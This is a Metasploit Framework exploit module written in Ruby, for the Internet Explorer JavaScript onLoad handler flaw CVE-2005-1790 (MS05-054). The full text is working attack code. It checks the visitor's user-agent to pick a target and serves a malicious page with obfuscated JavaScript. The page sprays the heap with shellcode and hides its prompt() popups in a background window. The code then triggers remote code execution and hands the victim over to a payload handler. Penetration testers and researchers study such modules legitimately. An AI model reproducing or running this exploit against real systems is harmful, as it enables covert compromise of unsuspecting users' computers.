Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name'           => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',

'Description'    => %q{

This bug is triggered when the browser handles a JavaScript 'onLoad' handler in

conjunction with an improperly initialized 'window()' JavaScript function.

This exploit results in a call to an address lower than the heap. The javascript

prompt() places our shellcode near where the call operand points to.  We call

prompt() multiple times in separate iframes to place our return address.

We hide the prompts in a popup window behind the main window. We spray the heap

a second time with our shellcode and point the return address to the heap. I use

a fairly high address to make this exploit more reliable. IE will crash when the

exploit completes.  Also, please note that Internet Explorer must allow popups

in order to continue exploitation.

},

'License'        => MSF_LICENSE,

'Author'         =>

[

'Benjamin Tobias Franz', # Discovery

'Stuart Pearson',        # Proof of Concept

'Sam Sharps'             # Metasploit port

],

'References'     =>

[

['MSB', 'MS05-054'],

['CVE', '2005-1790'],

['OSVDB', '17094'],

['URL', 'http://www.securityfocus.com/bid/13799/info'],

['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

},

'Payload'        =>

{

'Space'    => 1000,

'BadChars' => "\x00",

'Compat'   =>

{

'ConnectionType' => '-find',

},

'StackAdjustment' => -3500,

},

'Platform'       => 'win',

'Targets'        =>

[

[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],

[ 'Internet Explorer 6 Windows 2000',  { 'iframes' => 8 } ],

],

'DisclosureDate' => 'Nov 21 2005',

'DefaultTarget'  => 0))

end

def exploit

@var_redir = rand_text_alpha(rand(100)+1)

super

end

def auto_target(cli, request)

mytarget = nil

agent = request.headers['User-Agent']

print_status("Checking user agent: #{agent}")

if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)

mytarget = targets[0]   # IE6 on XP

elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)

mytarget = targets[1]   # IE6 on 2000

else

print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

end

mytarget

end

def on_request_uri(cli, request)

mytarget   = auto_target(cli, request)

var_title  = rand_text_alpha(rand(100) + 1)

func_main  = rand_text_alpha(rand(100) + 1)

heapspray = ::Rex::Exploitation::JSObfu.new %Q|

function heapspray()

{

shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 250; i++){ memory[i] = block + shellcode }

var ret = "";

var fillmem = "";

for (i = 0; i < 500; i++)

ret += unescape("%u0F0F%u0F0F");

for (i = 0; i < 200; i++)

fillmem += ret;

prompt(fillmem, "");

}

|

heapspray.obfuscate

nofunc = ::Rex::Exploitation::JSObfu.new %Q|

if (document.location.href.indexOf("#{@var_redir}") == -1)

{

var counter = 0;

top.consoleRef = open('','BlankWindow',

'width=100,height=100'

+',menubar=0'

+',toolbar=1'

+',status=0'

+',scrollbars=0'

+',left=1'

+',top=1'

+',resizable=1')

self.focus()

for (counter = 0; counter < #{mytarget['iframes']}; counter++)

{

top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');

}

document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");

}

else

{

#{heapspray.sym('heapspray')}();

}

|

nofunc.obfuscate

main = %Q|

function #{func_main}()

{

document.write("<TITLE>#{var_title}</TITLE>");

document.write("<body onload=window();>");

window.location.reload();

}

|

html = %Q|

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<html>

<head>

<meta http-equiv="Content-Language" content="en-gb">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">

<script>

#{nofunc}

#{heapspray}

#{main}

</script>

</head>

<body>

</body>

</html>

|

print_status("Sending #{self.name} to client #{cli.peerhost}")

# Transmit the compressed response to the client

send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

# Handle the payload

handler(cli)

end

end